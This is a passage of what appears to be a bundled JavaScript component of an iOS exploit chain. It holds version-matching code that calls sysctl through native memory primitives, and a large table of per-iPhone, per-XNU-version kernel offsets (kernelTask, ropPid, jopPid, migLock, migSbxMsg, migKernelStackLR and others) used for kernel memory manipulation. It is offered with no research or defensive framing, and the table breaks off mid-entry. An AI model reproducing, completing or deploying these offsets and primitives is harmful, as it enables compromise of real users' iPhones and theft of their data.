major)\n\t\t\t\tcontinue;\n\t\t\tif (xnuMajorOffsets < major)\n\t\t\t\txnuMajorOffsets = major;\n\t\t}\n\n\t\tif (!xnuMajorOffsets) {\n\t\t\tconsole.log(TAG, \"Unsupported XNU major: \" + xnuMajor);\n\t\t\treturn null;\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU major: \" + xnuMajorOffsets);\n\t\txnuMajorOffsets = offsets[xnuMajorOffsets];\n\n\t\tlet foundOffsets = {};\n\t\tlet xnuMinorOffsets = -1;\n\t\tconst sortedMinors = Object.keys(xnuMajorOffsets).sort();\n\t\tfor (let minor of sortedMinors) {\n\t\t\t//console.log(TAG, `minor: ${minor}, xnuMinor: ${xnuMinor}`);\n\t\t\tif (minor > xnuMinor)\n\t\t\t\tbreak;\n\t\t\tif (xnuMinorOffsets < minor) {\n\t\t\t\txnuMinorOffsets = minor;\n\t\t\t\tObject.assign(foundOffsets, xnuMajorOffsets[minor]);\n\t\t\t}\n\t\t}\n\n\t\t//console.log(TAG, \"Matching XNU minor: \" + xnuMinorOffsets);\n\n\t\treturn foundOffsets;\n\t}\n\tstatic getBuildVersion() {\n\t\tconst CTL_KERN = 1;\n\t\tconst KERN_OSVERSION = 65;\n\n\t\tconst mib = new ArrayBuffer(4 * 2);\n\t\tconst mibView = new DataView(mib);\n\t\tmibView.setInt32(0, CTL_KERN, true);\n\t\tmibView.setInt32(4, KERN_OSVERSION, true);\n\n\t\tconst mibAddr = Native.mem;\n\t\tconst resultAddr = Native.mem + 0x100n;\n\t\tconst lengthAddr = Native.mem + 0x200n;\n\n\t\tNative.write(Native.mem, mib);\n\n\t\tlet ret = Native.callSymbol(\"sysctl\", mibAddr, 2, resultAddr, lengthAddr, null, 0);\n\t\tif (ret != 0) {\n\t\t\tconsole.log(TAG, \"Unable to get iOS build version\");\n\t\t\treturn null;\n\t\t}\n\n\t\tconst length = Native.read32(lengthAddr);\n\t\tconst buildVer = Native.readString(resultAddr, length);\n\t\treturn buildVer;\n\t}\n}\n\n\n/***/ }),\n\n/***/ \"./src/libs/Driver/OffsetsTable.js\":\n/*!*****************************************!*\\\n !*** ./src/libs/Driver/OffsetsTable.js ***!\n \\*****************************************/\n/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => {\n\n__webpack_require__.r(__webpack_exports__);\n/* harmony export */ __webpack_require__.d(__webpack_exports__, {\n/* harmony export */ offsets: () => (/* binding */ offsets)\n/* harmony export */ });\nconst offsets = {\n\t// iPhone XS\n\t// iPhone XS Max\n\t// iPhone XS Max Global\n\t// iPhone XR\n\t\"iPhone11\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xe8n,\n\t\t\t\t\tropPid: 0x150n,\n\t\t\t\t\tjopPid: 0x158n,\n\t\t\t\t\tguardExcCode: 0x308n,\n\t\t\t\t\ttaskThreads: 0x348n,\n\t\t\t\t\ttro: 0x358n,\n\t\t\t\t\tast: 0x37cn,\n\t\t\t\t\tmutexData: 0x380n,\n\t\t\t\t\tctid: 0x408n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918210n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x398n,\n\t\t\t\t\tctid: 0x418n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91c638n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x360n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x920a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9209f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x920a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f1548n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x320n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f1560n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x370n,\n\t\t\t\t\tast: 0x394n,\n\t\t\t\t\tmutexData: 0x3a0n,\n\t\t\t\t\tctid: 0x420n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fd988n,\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f5988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa62b50n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6ac38n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6ad48n,\n \t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x378n,\n \t\t\t\t\ttro: 0x380n,\n \t\t\t\t\tast: 0x3a4n,\n \t\t\t\t\tmutexData: 0x3b0n,\n \t\t\t\t\tctid: 0x430n,\n \t\t\t\t\tmigLock: 0x36971f0n,\n \t\t\t\t\tmigSbxMsg: 0x3697210n,\n \t\t\t\t\tmigKernelStackLR: 0x2f7c1a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x8fc638n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x900a90n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9009f0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x900a40n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9d1548n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9d1560n,\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9d9988n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9d1988n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa42b50n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n,\n\t\t\t\t\tmigLock: 0x38d74e8n,\n\t\t\t\t\tmigSbxMsg: 0x38d7508n,\n\t\t\t\t\tmigKernelStackLR: 0x31b19e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa4ad48n,\n\t\t\t\t\tmigLock: 0x352e1f0n,\n\t\t\t\t\tmigSbxMsg: 0x352e210n,\n\t\t\t\t\tmigKernelStackLR: 0x2e5ba20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 11\n\t// iPhone 11 Pro\n\t// iPhone 11 Pro Max\n\t// iPhone SE 2\n\t\"iPhone12\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x96c178n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x970588n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9749d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa494a0n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa518c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa498c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n \t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n \t\t\t\t\ttro: 0x390n,\n \t\t\t\t\tast: 0x3b4n,\n \t\t\t\t\tmutexData: 0x3c0n,\n \t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x38e34e8n,\n\t\t\t\t\tmigSbxMsg: 0x38e3508n,\n\t\t\t\t\tmigKernelStackLR: 0x31ba7a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"3\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"5\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x974588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9789d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x974938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x974988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa49488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa4d4a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa558c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa4d8c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xacea90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xad6b78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xad6c88n,\n\t\t\t\t\tmigLock: 0x38e7468n,\n\t\t\t\t\tmigSbxMsg: 0x38e7488n,\n\t\t\t\t\tmigKernelStackLR: 0x31bf5a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x960588n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x9649d8n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x964938n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x964988n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa35488n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa354a0n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa3d8c8n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa358c8n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xab6a90n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xabeb78n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xac2c88n,\n\t\t\t\t\tmigLock: 0x387a8e8n,\n\t\t\t\t\tmigSbxMsg: 0x387a908n,\n\t\t\t\t\tmigKernelStackLR: 0x3156f20n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 12\n\t// iPhone 12 Mini\n\t// iPhone 12 Pro\n\t// iPhone 12 Pro Max\n\t\"iPhone13\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5bcn,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x158n,\n\t\t\t\t\tjopPid: 0x160n,\n\t\t\t\t\tguardExcCode: 0x318n,\n\t\t\t\t\ttaskThreads: 0x358n,\n\t\t\t\t\ttro: 0x368n,\n\t\t\t\t\tast: 0x38cn,\n\t\t\t\t\tmutexData: 0x390n,\n\t\t\t\t\tctid: 0x418n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x94c2d0n,\n\t\t\t\t\tguardExcCode: 0x328n,\n\t\t\t\t\ttaskThreads: 0x368n,\n\t\t\t\t\ttro: 0x378n,\n\t\t\t\t\tast: 0x39cn,\n\t\t\t\t\tmutexData: 0x3a8n,\n\t\t\t\t\tctid: 0x428n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x9546e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\tprocRO: 0x388n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x954b30n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x954a90n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x954ae0n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa295e0n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3a0n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5dcn,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa2d5f8n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa35a20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa2da20n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa9ebe8n,\n\t\t\t\t\tprocRO: 0x3c0n,\n\t\t\t\t\texcGuard: 0x5fcn,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n,\n\t\t\t\t\tmigLock: 0x37b8b80n,\n\t\t\t\t\tmigSbxMsg: 0x37b8ba0n,\n\t\t\t\t\tmigKernelStackLR: 0x3190fa0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xaa6cd0n,\n\t\t\t\t\tmigLock: 0x37d4c90n,\n\t\t\t\t\tmigSbxMsg: 0x37d4cb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31acce4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xaaade0n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n,\n\t\t\t\t\tmigLock: 0x37dcc90n,\n\t\t\t\t\tmigSbxMsg: 0x37dccb0n,\n\t\t\t\t\tmigKernelStackLR: 0x31b5b60n,\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t},\n\n\t// iPhone 13\n\t// iPhone 13 Mini\n\t// iPhone 13 Pro\n\t// iPhone 13 Pro Max\n\t// iPhone SE 3\n\t// iPhone 14\n\t// iPhone 14 Plus\n\t\"iPhone14\": {\n\t\t\"*\": {\n\t\t\t23: {\n\t\t\t\t0: {\n\t\t\t\t\tpComm: 0x568n,\n\t\t\t\t\texcGuard: 0x5d4n,\n\t\t\t\t\tkstackptr: 0xf0n,\n\t\t\t\t\tropPid: 0x160n,\n\t\t\t\t\tjopPid: 0x168n,\n\t\t\t\t\tguardExcCode: 0x330n,\n\t\t\t\t\ttaskThreads: 0x370n,\n\t\t\t\t\ttro: 0x380n,\n\t\t\t\t\tast: 0x3a4n,\n\t\t\t\t\tmutexData: 0x3b0n,\n\t\t\t\t\tctid: 0x430n,\n\t\t\t\t\ttroTask: 0x20n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x918ee0n,\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x91d318n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x378n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x925770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9256d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x925720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f6230n,\n\t\t\t\t\tpComm: 0x56cn,\n\t\t\t\t\tprocRO: 0x3b8n,\n\t\t\t\t\tipcSpace: 0x318n,\n\t\t\t\t\ttroTask: 0x28n,\n\t\t\t\t\texcGuard: 0x5f4n,\n\t\t\t\t\tkstackptr: 0xf8n,\n\t\t\t\t\tropPid: 0x168n,\n\t\t\t\t\tjopPid: 0x170n,\n\t\t\t\t\tguardExcCode: 0x338n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x440n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f6248n,\n\t\t\t\t\ttaskThreads: 0x380n,\n\t\t\t\t\ttro: 0x388n,\n\t\t\t\t\tast: 0x3acn,\n\t\t\t\t\tmutexData: 0x3b8n,\n\t\t\t\t\tctid: 0x438n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa02678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9fa678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tprocRO: 0x3e0n,\n\t\t\t\t\texcGuard: 0x624n,\n\t\t\t\t\ttaskThreads: 0x388n,\n\t\t\t\t\ttro: 0x390n,\n\t\t\t\t\tast: 0x3b4n,\n\t\t\t\t\tmutexData: 0x3c0n,\n\t\t\t\t\tctid: 0x448n,\n\t\t\t\t\tmigLock: 0x382c218n,\n\t\t\t\t\tmigSbxMsg: 0x382c238n,\n\t\t\t\t\tmigKernelStackLR: 0x317d020n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x3848428n,\n\t\t\t\t\tmigSbxMsg: 0x3848448n,\n\t\t\t\t\tmigKernelStackLR: 0x31994a4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa73d10n,\n\t\t\t\t\tguardExcCode: 0x340n,\n\t\t\t\t\ttaskThreads: 0x390n,\n\t\t\t\t\ttro: 0x398n,\n\t\t\t\t\tast: 0x3bcn,\n\t\t\t\t\tmutexData: 0x3c8n,\n\t\t\t\t\tctid: 0x450n,\n\t\t\t\t\tmigLock: 0x38543a8n,\n\t\t\t\t\tmigSbxMsg: 0x38543c8n,\n\t\t\t\t\tmigKernelStackLR: 0x31a27e0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"6\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x92d318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x935770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9316d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x931720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0xa06230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0xa06248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0xa12678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0xa0a678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa77b18n,\n\t\t\t\t\tmigLock: 0x3898c18n,\n\t\t\t\t\tmigSbxMsg: 0x3898c38n,\n\t\t\t\t\tmigKernelStackLR: 0x31dff60n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa7fc00n,\n\t\t\t\t\tmigLock: 0x38b4e28n,\n\t\t\t\t\tmigSbxMsg: 0x38b4e48n,\n\t\t\t\t\tmigKernelStackLR: 0x31fc3e4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa83d10n,\n\t\t\t\t\tmigLock: 0x38bcda8n,\n\t\t\t\t\tmigSbxMsg: 0x38bcdc8n,\n\t\t\t\t\tmigKernelStackLR: 0x3205560n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"7\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: {\n\t\t\t\t\tkernelTask: 0x921720n\n\t\t\t\t}\n\t\t\t},\n\t\t\t24: {\n\t\t\t\t0: {\n\t\t\t\t\tkernelTask: 0x9f2230n\n\t\t\t\t},\n\t\t\t\t1: {\n\t\t\t\t\tkernelTask: 0x9f2248n\n\t\t\t\t},\n\t\t\t\t2: {\n\t\t\t\t\tkernelTask: 0x9fe678n\n\t\t\t\t},\n\t\t\t\t3: {\n\t\t\t\t\tkernelTask: 0x9f6678n\n\t\t\t\t},\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0xa67b18n,\n\t\t\t\t\tmigLock: 0x3813d98n,\n\t\t\t\t\tmigSbxMsg: 0x3813db8n,\n\t\t\t\t\tmigKernelStackLR: 0x3163ae0n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0xa6fc00n,\n\t\t\t\t\tmigLock: 0x382ffa8n,\n\t\t\t\t\tmigSbxMsg: 0x382ffc8n,\n\t\t\t\t\tmigKernelStackLR: 0x317ffa4n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0xa6fd10n,\n\t\t\t\t\tmigLock: 0x3833fa8n,\n\t\t\t\t\tmigSbxMsg: 0x3833fc8n,\n\t\t\t\t\tmigKernelStackLR: 0x31852a0n,\n\t\t\t\t}\n\t\t\t}\n\t\t},\n\t\t\"8\": {\n\t\t\t23: {\n\t\t\t\t4: {\n\t\t\t\t\tkernelTask: 0x919318n\n\t\t\t\t},\n\t\t\t\t5: {\n\t\t\t\t\tkernelTask: 0x921770n\n\t\t\t\t},\n\t\t\t\t6: {\n\t\t\t\t\tkernelTask: 0x9216d0n\n\t\t\t\t},\n\t\t\t\t6.1: 